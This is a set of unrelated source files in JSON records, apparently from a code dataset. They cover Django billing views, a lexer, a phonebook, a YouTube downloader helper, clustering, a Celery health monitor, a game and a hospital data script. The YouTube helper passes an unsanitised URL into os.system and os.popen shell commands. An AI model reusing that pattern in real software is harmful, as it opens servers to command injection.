meta\n\n def mark_dropped(self, queryset):\n for tx in queryset.filter(is_running=True):\n diff = datetime.now() - tx.created_on\n if diff.total_seconds() > 660:\n tx.is_running = False\n tx.status = MoMoTransaction.DROPPED\n tx.save()\n\n def get_context_data(self, **kwargs):\n context = super(TransactionLog, self).get_context_data(**kwargs)\n queryset = context['queryset']\n criteria = self.get_filter_criteria()\n context['status'] = self.request.GET.get('status')\n context['meta'] = self.sum_transactions(queryset, **criteria)\n return context\n\n\nclass DeployCloud(TemplateView):\n template_name = 'core/cloud_setup/deploy.html'\n\n def get_context_data(self, **kwargs):\n context = super(DeployCloud, self).get_context_data(**kwargs)\n context['billing_cycles'] = Service.BILLING_CYCLES_CHOICES\n app_slug = kwargs['app_slug']\n app = Application.objects.using(UMBRELLA).get(slug=app_slug)\n context['app'] = app\n if getattr(settings, 'IS_IKWEN', False):\n billing_plan_list = CloudBillingPlan.objects.using(UMBRELLA).filter(app=app, partner__isnull=True)\n if billing_plan_list.count() == 0:\n setup_months_count = 3\n context['ikwen_setup_cost'] = app.base_monthly_cost * setup_months_count\n context['ikwen_monthly_cost'] = app.base_monthly_cost\n context['setup_months_count'] = setup_months_count\n else:\n service = get_service_instance()\n billing_plan_list = CloudBillingPlan.objects.using(UMBRELLA).filter(app=app, partner=service)\n if billing_plan_list.count() == 0:\n retail_config = ApplicationRetailConfig.objects.using(UMBRELLA).get(app=app, partner=service)\n setup_months_count = 3\n context['ikwen_setup_cost'] = retail_config.ikwen_monthly_cost * setup_months_count\n context['ikwen_monthly_cost'] = retail_config.ikwen_monthly_cost\n context['setup_months_count'] = setup_months_count\n if billing_plan_list.count() > 0:\n context['billing_plan_list'] = billing_plan_list\n context['setup_months_count'] = billing_plan_list[0].setup_months_count\n return context\n\n def post(self, request, *args, **kwargs):\n form = DeploymentForm(request.POST)\n if form.is_valid():\n app_id = form.cleaned_data.get('app_id')\n member_id = form.cleaned_data.get('member_id')\n project_name = form.cleaned_data.get('project_name')\n billing_cycle = form.cleaned_data.get('billing_cycle')\n billing_plan_id = form.cleaned_data.get('billing_plan_id')\n setup_cost = form.cleaned_data.get('setup_cost')\n monthly_cost = form.cleaned_data.get('monthly_cost')\n domain = form.cleaned_data.get('domain')\n partner_id = form.cleaned_data.get('partner_id')\n app = Application.objects.using(UMBRELLA).get(pk=app_id)\n member = Member.objects.using(UMBRELLA).get(pk=member_id)\n billing_plan = CloudBillingPlan.objects.using(UMBRELLA).get(pk=billing_plan_id)\n if setup_cost < billing_plan.setup_cost:\n return HttpResponseForbidden(\"Attempt to set a Setup cost lower than allowed.\")\n if monthly_cost < billing_plan.monthly_cost:\n return HttpResponseForbidden(\"Attempt to set a monthly cost lower than allowed.\")\n partner = Service.objects.using(UMBRELLA).get(pk=partner_id) if partner_id else None\n invoice_entries = []\n domain_name = IkwenInvoiceItem(label='Domain name')\n domain_name_entry = InvoiceEntry(item=domain_name, short_description=domain)\n invoice_entries.append(domain_name_entry)\n website_setup = IkwenInvoiceItem(label='Website setup', price=billing_plan.setup_cost, amount=setup_cost)\n short_description = \"%d products\" % billing_plan.max_products\n website_setup_entry = InvoiceEntry(item=website_setup, short_description=short_description, total=setup_cost)\n invoice_entries.append(website_setup_entry)\n i = 0\n while True:\n try:\n label = request.POST['item%d' % i]\n amount = float(request.POST['amount%d' % i])\n if not (label and amount):\n break\n item = IkwenInvoiceItem(label=label, amount=amount)\n entry = InvoiceEntry(item=item, total=amount)\n invoice_entries.append(entry)\n i += 1\n except:\n break\n if getattr(settings, 'DEBUG', False):\n service = deploy(app, member, project_name, billing_plan,\n setup_cost, monthly_cost, invoice_entries, billing_cycle, domain,\n partner_retailer=partner)\n else:\n try:\n service = deploy(app, member, project_name, billing_plan,\n setup_cost, monthly_cost, invoice_entries, billing_cycle, domain,\n partner_retailer=partner)\n except Exception as e:\n context = self.get_context_data(**kwargs)\n context['error'] = e.message\n return render(request, 'core/cloud_setup/deploy.html', context)\n if getattr(settings, 'IS_IKWEN', False):\n next_url = reverse('partnership:change_service', args=(service.id, ))\n else:\n next_url = reverse('change_service', args=(service.id, ))\n return HttpResponseRedirect(next_url)\n else:\n context = self.get_context_data(**kwargs)\n context['form'] = form\n return render(request, 'core/cloud_setup/deploy.html', context)\n\n\nclass MoMoSetCheckout(TemplateView):\n template_name = 'billing/momo_checkout.html'\n\n def get_context_data(self, **kwargs):\n context = super(MoMoSetCheckout, self).get_context_data(**kwargs)\n mean = self.request.GET.get('mean')\n if mean:\n payment_mean = get_object_or_404(PaymentMean, slug=mean)\n else:\n payment_mean = get_object_or_404(PaymentMean, slug=MTN_MOMO)\n\n if getattr(settings, 'DEBUG', False):\n json.loads(payment_mean.credentials)\n else:\n try:\n json.loads(payment_mean.credentials)\n except:\n return HttpResponse(\"Error, Could not parse Payment API parameters for %s.\" % payment_mean.name)\n\n context['payment_mean'] = payment_mean\n member = self.request.user\n if member.is_authenticated():\n context['phone'] = member.phone\n return context\n\n def get(self, request, *args, **kwargs):\n action = request.GET.get('action')\n mean = request.GET.get('mean')\n if action == 'init':\n if mean == MTN_MOMO:\n return init_momo_payment(request)\n elif mean == ORANGE_MONEY:\n return init_om_payment(request)\n elif action == 'check_tx_status':\n return self.check_tx_status(request)\n return super(MoMoSetCheckout, self).get(request, *args, **kwargs)\n\n def check_tx_status(self, request, *args, **kwargs):\n tx_id = request.GET['tx_id']\n tx = MoMoTransaction.objects.using('wallets').get(pk=tx_id)\n\n # When a MoMoTransaction is created, its status is None or empty string\n # So perform a check first to make sure a status has been set\n if tx.status:\n if tx.status == MoMoTransaction.SUCCESS:\n resp_dict = {'success': True, 'return_url': request.session['return_url']}\n return HttpResponse(json.dumps(resp_dict), 'content-type: text/json')\n resp_dict = {'error': tx.status, 'message': ''}\n if getattr(settings, 'DEBUG', False):\n resp_dict['message'] = tx.message\n elif tx.status == MoMoTransaction.FAILURE:\n resp_dict['message'] = 'Ooops! You may have refused authorization. Please try again.'\n elif tx.status == MoMoTransaction.API_ERROR:\n resp_dict['message'] = 'Your balance may be insufficient. Please check and try again.'\n elif tx.status == MoMoTransaction.TIMEOUT:\n resp_dict['message'] = 'MTN Server is taking too long to respond. Please try again later'\n elif tx.status == MoMoTransaction.REQUEST_EXCEPTION:\n resp_dict['message'] = 'Could not init transaction with MTN Server. Please try again later'\n elif tx.status == MoMoTransaction.SERVER_ERROR:\n resp_dict['message'] = 'Unknown server error. Please try again later'\n return HttpResponse(json.dumps(resp_dict), 'content-type: text/json')\n return HttpResponse(json.dumps({'running': True}), 'content-type: text/json')\n\n @method_decorator(sensitive_post_parameters())\n @method_decorator(csrf_protect)\n @method_decorator(never_cache)\n def post(self, request, *args, **kwargs):\n context = self.get_context_data(**kwargs)\n payment_mean = context['payment_mean']\n if getattr(settings, 'UNIT_TESTING', False):\n signature = 'dumb_signature'\n else:\n signature = ''.join([random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16)])\n request.session['signature'] = signature\n payments_conf = getattr(settings, 'PAYMENTS', None)\n if payments_conf:\n conf = request.POST.get('payment_conf', 'default').lower().strip()\n request.session['payment_conf'] = conf\n path = payments_conf[conf]['before']\n else:\n path = getattr(settings, 'MOMO_BEFORE_CASH_OUT')\n momo_before_checkout = import_by_path(path)\n http_resp = momo_before_checkout(request, payment_mean, *args, **kwargs)\n if http_resp:\n return http_resp\n if payment_mean.slug == ORANGE_MONEY:\n return init_web_payment(request, *args, **kwargs)\n if payment_mean.slug == YUP:\n return init_yup_web_payment(request, *args, **kwargs)\n if payment_mean.slug == UBA:\n return init_uba_web_payment(request, *args, **kwargs)\n context['amount'] = request.session['amount']\n return render(request, self.template_name, context)\n","sub_path":"billing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"6369972","text":"# -------------------------\n# ExpressionLanguageLex.py\n#----------------------\nimport ply.lex as lex\ntokens = ('COMMA', 'SOMA', 'ID', 'NUMBER', 'VEZES', 'POT', 'LPAREN', 'RPAREN', 'IGUAL',)\nt_IGUAL= r'='\nt_SOMA = r'\\+'\nt_VEZES = r'\\*'\nt_POT = r'\\^'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\nt_COMMA = r','\nt_ID = r'[a-zA-Z_][a-zA-Z_0-9]*'\n\ndef t_NUMBER(t):\n r'\\d+'\n t.value = int(t.value)\n return t\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n\nt_ignore = ' \\t'\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n\n\n\nlexer = lex.lex()\n#\n# # Test it out\ndata = '''\n 3 + 4 ^ 10 + 20 *2 = chamada(a, b, 3)\n '''\nlexer.input(data)\n","sub_path":"VersaoAnteriorReuniao/ExpressionLanguageLex.py","file_name":"ExpressionLanguageLex.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"453741877","text":"class contact:\n \n def __init__(self, firstName, lastName, phone):\n self.firstName = firstName\n self.lastName = lastName\n self.phoneNumber = phone\n self.next = None\n \n def display(self):\n print(self.firstName + ' ' + self.lastName + '\\n' \\\n + str(self.phoneNumber))\n \n \n\nclass phoneBook: \n \n def __init__(self):\n self.head = None\n \n def addContact(self):\n print(\"Adding a contact to your phone book\")\n first = str(input(\"Enter first name: \"))\n last = str(input(\"Enter last name: \"))\n phone = str(input(\"Enter phone number: \"))\n temp = contact(first, last, phone)\n temp.next = self.head\n self.head = temp\n \n def view(self):\n temp = self.head\n print(temp.firstName + ' ' + temp.lastName + '\\n' + temp.phoneNumber)\n print('_'*25)\n while temp.next:\n temp = temp.next\n print(temp.firstName + ' ' + temp.lastName + '\\n' + temp.phoneNumber)\n print('_'*25)\n \n \nmyPhoneBook = phoneBook()\n\n \n\n \n ","sub_path":"phonebook.py","file_name":"phonebook.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"211000850","text":"import re\n\nfrom lxml import etree\n\nfrom django_oikotie.enums import Case\n\n\ndef object_to_etree(obj, case=Case.PASCAL):\n name = None\n if hasattr(obj, \"Meta\") and hasattr(obj.Meta, \"element_name\"):\n name = obj.Meta.element_name\n elif case == Case.KEBAB:\n name = re.sub(r\"(?(\\d+)<\\/span><\\/a>')\t\t\t\t\t\t\t\t\t\t\t\t#a RegEX to match page links\r\n\t\r\n\tif search_keywords == '':\r\n\t\turl = 'https://www.youtube.com/feed/trending'\t\t\t\t\t\t\t\t\t\t\t\t#homepage and trends\r\n\telif page and int(page) > 1:\r\n\t\turl = 'https://www.youtube.com' + search_keywords\t\t\t\t\t\t\t\t\t\t\t#search results page 2+\r\n\telse:\r\n\t\turl = 'https://www.youtube.com/results?search_query=' + search_keywords\t\t\t\t\t\t#search results page 1\r\n\tsearch_results_page = urllib2.urlopen(url).read()\r\n\twith open('search_results.html', 'wb') as search_results:\r\n\t\tsearch_results.write(search_results_page)\r\n\t\tsoup = BeautifulSoup(open('search_results.html'), \"html.parser\")\r\n\t\tfor label in soup.find_all('a'):\r\n\t\t\ttry:\r\n\t\t\t\tvideo_link = link_regex.match(label['href']).groups()[0][-11:]\t\t\t\t\t\t#match the RegEX to get the full video links\r\n\t\t\t\tvideo_title = label['title']\r\n\t\t\t\tif video_link not in video_links:\r\n\t\t\t\t\tvideo_links.append(video_link)\r\n\t\t\t\t\tvideo_info[video_title] = video_link\r\n\t\t\texcept:\r\n\t\t\t\tpass\r\n\t\t\ttry:\r\n\t\t\t\t#match the RegEx to get the page links\r\n\t\t\t\tpage = int(page_regex.match(str(label)).groups()[0])\r\n\t\t\t\tpage_link = label['href']\r\n\t\t\t\tif not keywords_model.page_set.filter(page_number=page):\r\n\t\t\t\t\tpage_model = keywords_model.page_set.create(page_number=page, page_href=page_link)\r\n\t\t\texcept:\r\n\t\t\t\tpass\r\n\treturn video_info\r\ndef toplay(url, pixel=None):\r\n\tformats_dict = {137:'1080P', 136:'720P', 135:'480P', 134:'360P', 133:'240P',132:'144P'}\r\n\tsupported_fromats, pixels = [], []\r\n\tformat_regex = re.compile(r'^(13\\d)')\r\n\thead = 'https://www.youtube.com/watch?v='\r\n\tos.chdir('//var//www//html//media//STFYouTube')\r\n\tif int(os.popen('du').readlines()[0][:-3]) > 1000000:\t\t\t\t\t\t\t\t\t\t\t# remove all videos while cache size is bigger than 500M\r\n\t\tos.system('rm -f ls *.mp4')\r\n\tvideo = os.popen(\"youtube-dl --get-filename %s\" %url).readlines()[0]\r\n\tformats = os.popen(\"youtube-dl -F %s\" %url).readlines()\r\n\tfor format in formats:\r\n\t\tif format_regex.match(format):\r\n\t\t\tpixels.append(int(format_regex.match(format).groups()[0]))\r\n\t\t\tsupported_fromats.append(formats_dict[int(format_regex.match(format).groups()[0])])\t\r\n\tif pixel == None:\r\n\t\tif len(pixels) > 1:\r\n\t\t\tpixel = pixels[-2]\r\n\t\telse:\r\n\t\t\tpixel = pixels[-1]\r\n\tif video[:-17]+'-'+formats_dict[pixel]+video[-5:] not in os.popen('ls').readlines():\t\t\t\t\t\t\t\t\t#if the requested video exists,do not download it\r\n\t\tos.system('youtube-dl -f %d+140 %s' %(pixel, head+url))\r\n\t\tvideo = os.popen('find -name \\*%s\\*' %url).readlines()[0][2:-1]\r\n\t\tos.system('qt-faststart \"%s\" \"%s\"' %(video,video[:-16]+'-'+formats_dict[pixel]+video[-4:]))\r\n\t\tos.system('rm -f \"%s\"' %video)\r\n\t\treturn video[:-16]+'-'+formats_dict[pixel], supported_fromats\r\n\telse:\r\n\t\treturn video[:-17]+'-'+formats_dict[pixel], supported_fromats","sub_path":"STFYouTube/STFYouTube.py","file_name":"STFYouTube.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"227175191","text":"import numpy as np\r\nimport pylab as pl\r\nfrom sklearn.cluster import KMeans\r\nfrom osgeo import gdal\r\nfrom sklearn import preprocessing\r\n\r\n# Read land use classification layer data\r\nfile_land2000 = '/home/anaconda_workspace/qyh/SH_100m/ExperimentalData/Landuse_final/lan2000_final.tif'\r\ndata_land2000 = gdal.Open(file_land2000)\r\n\r\nim_height = data_land2000.RasterYSize # Number of rows in the raster matrix\r\nim_width = data_land2000.RasterXSize # Number of columns in the raster matrix\r\n\r\n# Land use data by year\r\nim_data_land2000 = data_land2000.ReadAsArray(0, 0, im_width, im_height)\r\n\r\n# Prepare initial cluster data\r\n#\r\n# # Input impact factor data: an array of Cluster_SH * 17, these 17 columns are spatial impact factors\r\nCluster_SH = np.loadtxt('/home/anaconda_workspace/qyh/SH_100m/ExperimentalData/AllFactors/AllFactors_20102017TXT.txt')\r\n\r\n# Normalized function\r\nmin_max_scaler = preprocessing.MinMaxScaler()\r\nCluster_SH_Norm = min_max_scaler.fit_transform(Cluster_SH)\r\nCluster_SH_Norm_mat = np.mat(Cluster_SH_Norm)\r\n\r\nprint(\"shape of Cluster_SH_Norm_mat:\",Cluster_SH_Norm_mat.shape)\r\n\r\n# Construct NoBinary clusterer\r\nestimator_NoBinary = KMeans(n_clusters=16)# Construct NoBinary clusterer\r\nestimator_NoBinary.fit(Cluster_SH_Norm_mat)# clusterer\r\nlabel_pred_NoBinary = estimator_NoBinary.labels_ # Get cluster labels\r\ncentroids_NoBinary = estimator_NoBinary.cluster_centers_ # Get Cluster Center\r\ninertia_NoBinary = estimator_NoBinary.inertia_ # Get the sum of the clustering criteria\r\n\r\nCluster_result_NoBinary = np.zeros((im_height, im_width))\r\nfor row in range(0, im_height):\r\n for col in range(0, im_width):\r\n Cluster_result_NoBinary[row, col] = 100\r\n\r\nindex = 0\r\nfor row in range(12, im_height - 12):\r\n for col in range(12, im_width - 12):\r\n if im_data_land2000[row][col] != 0:\r\n Cluster_result_NoBinary[row][col] = label_pred_NoBinary[index]\r\n index = index + 1\r\n\r\nnp.savetxt('/home/anaconda_workspace/qyh/SH_100m/ExperimentalResult/Clustering/K-Means_cluster.txt', Cluster_result_NoBinary, fmt='%s', newline='\\n')","sub_path":"k-means_cluster.py","file_name":"k-means_cluster.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"432394327","text":"# Importing matplotlib and elements\nfrom matplotlib import pyplot as plt\n\n# Providing Rough data\nYears = [2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016]\nEarthQuakes = [10, 13, 8, 16, 23, 22, 24, 7]\n# Iterating through Years\n# Generating bars \nval = [i+0.1 for i in Years]\nplt.bar(val, EarthQuakes, color='black')\n# Title\nplt.title('Earthquakes Per Year')\n# Labels\nplt.xlabel('Years')\nplt.ylabel('Occurrence / Year')\n# Ticks @ x-axis (Years)\nplt.xticks([i+0.5 for i in Years], Years)\nplt.show()\n","sub_path":"DATA_VISUALIZATION/BarChart.py","file_name":"BarChart.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"415937515","text":"WHITE_COLOR = \"WHITE\"\nBLACK_COLOR = \"BLACK\"\n\nATTACKING_POSITION = \"ATTACKING\"\nDEFENDING_POSITION = \"DEFENDING\"\nAVAILABLE_POSITION = \"AVAILABLE\"\n\nNORTH_TO_SOUTH_ORIENTATION = \"N -> S\"\nSOUTH_TO_NORTH_ORIENTATION = \"S -> N\"\n\nBISHOP_SIGNATURE = \"Bi\"\nKING_SIGNATURE = \"Ki\"\nKNIGHT_SIGNATURE = \"Kn\"\nPAWN_SIGNATURE = \"Pa\"\nQUEEN_SIGNATURE = \"Qu\"\nROOK_SIGNATURE = \"Ro\"\n\nLEFT_SIDE = \"LEFT\"\nRIGHT_SIDE = \"RIGHT\"\n\n\n","sub_path":"src/util/chess_constants.py","file_name":"chess_constants.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"392431527","text":"import celery\nfrom monitor.celery import app\nfrom decouple import config\nfrom runner.models import Monitors\nimport traceback\nfrom celery.utils.log import get_task_logger\nimport requests\nimport json\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.conf import settings\nimport os.path\n\nlogger = get_task_logger(__name__)\n\n\nclass BaseTask(celery.Task):\n def on_failure(self, exc, task_id, args, kwargs, einfo):\n messageRecipient = config('ADMIN_RECIPIENT')\n body = \"Celery Worker Failed

\"\\\n \"Task id: {}

\"\\\n \"Exc: {}

\"\\\n \"Args: {}

\"\\\n \"Kwargs: {}

\"\\\n \"Einfo: {}

\".format(\n task_id, exc, args, kwargs, einfo)\n\n logger.error(\"Task failed: %s\", einfo)\n\n sendMail(subject=\"[Crazy Wizard] Celery task failed\",\n recipient=messageRecipient, htmlBody=body)\n\n\n@app.task(base=BaseTask, name=\"Task runner\")\ndef task_runner():\n check_urls = retrieve_entries()\n for url_dict in check_urls:\n run_health_check.delay(url_dict)\n\n\ndef retrieve_entries():\n # Local vars\n check_urls = list()\n\n # Get all active monitor entries from DB\n logger.info(\"Retrieving active monitors\")\n monitors = Monitors.objects.all().filter(active=True)\n if monitors:\n for monitor in monitors:\n monitor_dict = dict()\n check_url = monitor.health_check_url\n logger.info(\"Found health check URL=%s\", check_url)\n monitor_dict.update(\n dict(\n url=monitor.health_check_url,\n mail_recipient=monitor.mail_recipient,\n slack_endpoint=monitor.slack_endpoint\n )\n )\n check_urls.append(monitor_dict)\n else:\n logger.info(\"No active monitors found\")\n\n return check_urls\n\n\n@app.task(base=BaseTask, name=\"Run health checks\", bind=True)\ndef run_health_check(self, data):\n # Local vars\n failure_status_codes = ('5')\n url = data.get('url')\n mail_recipient = data.get('mail_recipient')\n slack_endpoint = data.get('slack_endpoint')\n\n try:\n logger.info(\"Running health check on URL=%s\", url)\n response = requests.get(url)\n logger.info(\"Received status=%s for URL=%s, response=%s\",\n response.status_code, url, response.content)\n\n # Check for status code to determine status of health check\n if str(response.status_code).startswith(failure_status_codes):\n logger.warning(\"Health check failed, URL=%s, status=%s\",\n url, response.status_code)\n\n # send mail and slack notification\n send_health_check_notification_mail.delay(\n mail_recipient, url, response.status_code)\n send_health_check_notification_slack.delay(\n slack_endpoint, url, response.status_code)\n except Exception as e:\n logger.error(\"Exception: %s\", traceback.format_exc())\n logger.info(\"Retrying task\")\n self.retry(exc=e, countdown=10, max_retries=2)\n\n\n@app.task(base=BaseTask, name=\"Send health check notification [Mail]\")\ndef send_health_check_notification_mail(recipient, url, status):\n if recipient:\n body = \" Website down

\"\\\n \"Status: %s
\"\\\n \"URL: %s
\" % (status, url)\n\n sendMail(subject=\"[Crazy Wizard] Website down\",\n recipient=recipient, htmlBody=body)\n\n\n@app.task(base=BaseTask, name=\"Send health check notification [Slack]\")\ndef send_health_check_notification_slack(endpoint, url, status):\n if endpoint:\n headers = {\n 'Content-type': 'application/json',\n }\n\n text = \"Health check failed.\\n\\nStatus: %s\\nURL: %s\" % (status, url)\n\n data = dict(\n text=text,\n )\n\n try:\n response = requests.post(\n endpoint, headers=headers, data=json.dumps(data))\n logger.info(\"Slack notification sent, slack status=%s, response=%s\",\n response.status_code, response.content)\n except Exception as e:\n logger.error(\"Exception: url=%s, status=%s, error=%s\",\n url, status, traceback.format_exc())\n\n\ndef sendMail(subject, recipient, plainBody=None, htmlBody=None, attachment=None):\n\n try:\n # Create message\n subject = \"\" + subject\n msg = EmailMultiAlternatives(\n subject, plainBody, settings.DEFAULT_FROM_EMAIL, [recipient])\n\n if htmlBody is not None:\n msg.attach_alternative(htmlBody, 'text/html')\n\n if attachment is not None:\n filename = attachment\n if os.path.exists(filename) and os.path.isfile(filename):\n msg.attach_file(filename)\n\n msg.send()\n\n logger.info(\"Mail sent, recipient=%s\", recipient)\n\n except Exception as error:\n logger.error(\"Exception in mailer. Error=%s\", traceback.format_exc())\n","sub_path":"src/runner/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"147224562","text":"import pygame, time\r\nfrom settings import Settings\r\nfrom ship import Ship\r\nfrom EnemyShip import Enemy\r\nimport game_functions as gf\r\nfrom pygame.sprite import Group\r\n\r\n\r\ndef run_game():\r\n pygame.init() \r\n ai_settings = Settings()\r\n ai_settings.difficulty()\r\n screen = pygame.display.set_mode(\r\n (ai_settings.screen_width, ai_settings.screen_height)\r\n )\r\n pygame.display.set_caption(\"Space Fighters\")\r\n\r\n ships = Group()\r\n ship = Ship(ai_settings, screen)\r\n ships.add(ship)\r\n\r\n\r\n enemy = Group()\r\n EnemyShip = Enemy(ai_settings, screen)\r\n enemy.add(EnemyShip)\r\n\r\n bullets = Group()\r\n Ebullets = Group()\r\n\r\n future = time.time() + 0.25\r\n gf.enemyMove(EnemyShip)\r\n\r\n font = pygame.font.SysFont(\"Comic Sans\", 50)\r\n last = \"\"\r\n\r\n while True:\r\n future, last = gf.enemyChecker(\r\n EnemyShip, future, ai_settings, screen, Ebullets, last\r\n )\r\n gf.check_events(ai_settings, screen, ship, bullets)\r\n EnemyShip.update()\r\n ship.update()\r\n gf.update_bullets(Ebullets, screen, 1)\r\n gf.update_bullets(bullets, screen)\r\n gf.update_screen(\r\n ai_settings, screen, ships, enemy, bullets, Ebullets, font, ship, EnemyShip\r\n )\r\n gf.endscreen(EnemyShip, ship, screen)\r\n\r\n\r\nrun_game()\r\n","sub_path":"Pygame/Space Fighters.py","file_name":"Space Fighters.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"54926329","text":"import os\nimport os.path\nimport json\nimport logging\n\n\nclass Language:\n \"\"\"Language object for each language included in the guessing and training.\n Each language has an associated language file from the languages folder.\n \"\"\"\n def __init__(self, name):\n self.errors = []\n self.name = name\n self.code = self.get_code(self.name)\n self.filename = self.code + '_data.json'\n self.file = self.get_file()\n self.lang_dict = self.get_dict()\n self.name_cased = self.get_language(self.code)\n if self.errors:\n logging.warning('WARNING: language object ' + self.name + ' has errors')\n\n def __str__(self):\n \"\"\"overrride str default with cased name\"\"\"\n return self.name_cased\n\n def __repr__(self):\n \"\"\"override repr default with cased name\"\"\"\n return self.name_cased\n\n def get_file(self):\n \"\"\"retrieve associated language file using file name\"\"\"\n if \"__err__\" not in self.filename and self.filename != \"\":\n path = os.path.abspath(os.path.dirname(__file__))\n filename = 'languages/' + self.filename\n if os.path.isfile(os.path.join(path, filename)):\n file = open(os.path.join(path, filename), 'r', encoding='UTF-8')\n else:\n # create file if not found in the directory\n with open(os.path.join(path, filename), 'w+', encoding='UTF-8') as f:\n json.dump({}, f)\n file = open(os.path.join(path, filename), 'r', encoding='UTF-8')\n return file\n else:\n self.errors.append(\"File not found\")\n\n def update_file(self, new_dict):\n \"\"\"updates the associated language data file with new tokens and/or token scores\"\"\"\n if \"__err__\" not in self.filename and self.filename != \"\":\n print(os.path.abspath(os.path.dirname(__file__)))\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)),\n 'languages/' + self.filename), \"w+\", encoding=\"utf-8\") as f:\n json.dump(new_dict, f)\n self.file = self.get_file()\n self.lang_dict = self.get_dict()\n else:\n self.errors.append('Could not update the file')\n\n def get_dict(self):\n \"\"\"retrieve language data as a dictionary from the appropriate language file\"\"\"\n lang_dict = {}\n try:\n with self.file as f:\n lang_dict = json.load(f)\n except AttributeError:\n self.errors.append(\"AttributeError: could not generate language dictionary\")\n return lang_dict\n\n @staticmethod\n def get_code(lang_name):\n \"\"\"retrieve the language ISO code given the name of the language\"\"\"\n try:\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)),\n 'resources/iso-639-3.json'), encoding=\"UTF-8\") as f:\n lang_code = \"__err__\"\n lang_codes = json.load(f)\n for l in lang_codes:\n if l[\"name\"].lower() == lang_name.lower():\n lang_code = l[\"iso6393\"]\n return lang_code\n except FileNotFoundError:\n logging.exception(\"File not found on get_code() call\")\n\n @staticmethod\n def get_language(lang_code):\n \"\"\"retrieve the name of the language given the language ISO code\"\"\"\n try:\n with open(os.path.join(os.path.abspath(os.path.dirname(__file__)),\n 'resources/iso-639-3.json'), encoding=\"UTF-8\") as f:\n lang_name = \"__err__\"\n lang_names = json.load(f)\n for language in lang_names:\n if language[\"iso6393\"].lower() == lang_code.lower():\n lang_name = language[\"name\"]\n return lang_name\n except FileNotFoundError:\n logging.exception(\"File not found on get_language() call\")\n\n def has(self, token):\n \"\"\"checks if a language has a specified token in its data file\"\"\"\n has_token = False\n if token in self.lang_dict:\n has_token = True\n return has_token\n\n def token_score(self, token):\n \"\"\"checks the associated score of a specified token\"\"\"\n score = 0\n if self.has(token):\n score = self.lang_dict[token]\n return score\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"src/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"218400591","text":"import json\nfrom com.pajk.plazass.utils import DictUtil,DepartmentDao,DateTimeUtil,CommonUtils,LogUtil,AllHttpClientWriter\n# import_script 武汉大学人民医院/Abstract.py\n\n## 武汉大学人民医院\nclass GetDepartment(Abstract):\n '''\n 获取科室信息\n\n 入参: message messageEnvlope 的 json\n 出参:message\n '''\n def getRequestParams(self, message):\n ''' 获取请求参数 '''\n hospitalId = message[\"from\"]\n result = {}\n result[\"url\"] = DictUtil.getDictValue(hospitalId, \"serviceUrl\") + \"departlist\"\n\n params = {}\n self.setCommonParams8(hospitalId, params)\n\n result[\"params\"] = params\n message[\"content\"] = result\n return message\n\n def getResponseParams(self, messageObj):\n content = messageObj[\"content\"]\n contentObj = json.loads(content)\n ReturnCode = int(contentObj[\"ReturnCode\"])\n\n if ReturnCode != 0:\n # 指定下一个引擎消息类型\n messageObj[\"msgType\"] = \"EXIT\"\n messageObj[\"returnCode\"] = \"ThirdError\"\n messageObj[\"returnMsg\"] = contentObj[\"Message\"]\n return messageObj\n\n data = self.setDepartments(contentObj,messageObj[\"from\"])\n messageObj[\"content\"] = data\n messageObj[\"contentType\"] = \"JSON\"\n return messageObj\n\n def setDepartments(self, contentObj, hospitalId):\n jDatas = contentObj[\"OutputInfo\"]\n returnData = []\n for jItem in jDatas:\n department = {}\n suffix = \"\"\n if int(jItem[\"HospitalCode\"]) == 7:\n suffix = \"(主院区)\"\n else:\n suffix = \"(东院区)\"\n department[\"hospitalId\"] = hospitalId\n department[\"departmentId\"] = jItem[\"DepartmentId\"]\n department[\"departmentName\"] = jItem[\"DepartmentAlias\"] + suffix\n department[\"departmentBaseid\"] = \"\"\n department[\"departmentLevel\"] = 0\n department[\"departmentIntroduction\"] = jItem[\"Introduce\"]\n department[\"departmentAddress\"] = \"\"\n department[\"status\"] = 1\n department[\"orderId\"] = \"\"\n returnData.append(department)\n\n return returnData\n\n\n\n\n def execute(self, meList):\n jsonList = json.loads(meList)\n #入参mapping\n message = self.getRequestParams(jsonList[0])\n if message[\"returnCode\"] != \"Success\":\n return self.handleResult(message)\n #调用http\n messageStr = AllHttpClientWriter().execute(json.dumps(message))\n message = json.loads(messageStr)\n if message[\"returnCode\"] != \"Success\":\n return self.handleResult(message)\n #结果mapping\n message = self.getResponseParams(message)\n if message[\"returnCode\"] != \"Success\":\n return self.handleResult(message)\n\n #保存数据库\n messageStr = DepartmentDao().save(json.dumps(message, ensure_ascii=False))\n message = json.loads(messageStr)\n\n return self.handleResult(message)\n\n\nresult = 